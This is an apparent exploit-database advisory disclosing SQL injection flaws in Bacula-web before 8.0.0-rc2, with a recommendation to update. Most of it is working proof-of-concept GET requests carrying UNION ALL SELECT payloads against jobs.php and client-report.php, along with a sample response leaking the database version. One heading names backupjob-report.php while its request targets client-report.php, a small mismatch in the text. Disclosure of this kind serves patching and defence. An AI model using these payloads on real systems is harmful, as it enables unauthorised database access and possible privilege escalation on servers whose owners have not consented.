Exploits / Vulnerability Discovered : 2018-03-09 |
Type : webapps |
Platform : php
This exploit / vulnerability Baculaweb < 8.0.0rc2 sql injection is for educational purposes only and if it is used you will do on your own risk!
Bacula-web before 8.0.0-rc2 is affected by multiple SQL Injection
vulnerabilities that could allow an attacker to access the Bacula database
and, depending on configuration, escalate privileges on the server.
2. Proofs of Concept
2.1) The /jobs.php script is affected by a SQL Injection vulnerability.
The following GET request can be used to extract the result of "select
@@version" query.
Request:
GET
/jobs.php?status=0&level_id=&client_id=0&start_time=&end_time=&orderby=jobid&jobs_per_page=25&pool_id=11%27%20UNION%20ALL%20SELECT%20@@version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23
HTTP/1.1
Response:
HTTP/1.1 200 OK
[...]
<td>5.7.19-0ubuntu0.16.04.1</td>
<td class="text-left">
backupjob-report.php?backupjob_name=
[...]
Other parameters (eg. client_id) are also vulnerable, since there is no
protection against SQL Injections at all.
2.2) The /backupjob-report.php script is affected by a SQL Injection
vulnerability.
The following GET request can be used to extract the result of "select
@@version" query.
Request:
GET
/client-report.php?period=7&client_id=21%20UNION%20ALL%20SELECT%20NULL,@@version%23
2.3) The /client-report.php is affected by a SQL Injection vulnerability in
the "client_id" parameter.
3. Solution:
Update to version 8.0.0-RC2
http://bacula-web.org/news-reader/bacula-web-8-0-0-rc2-released.html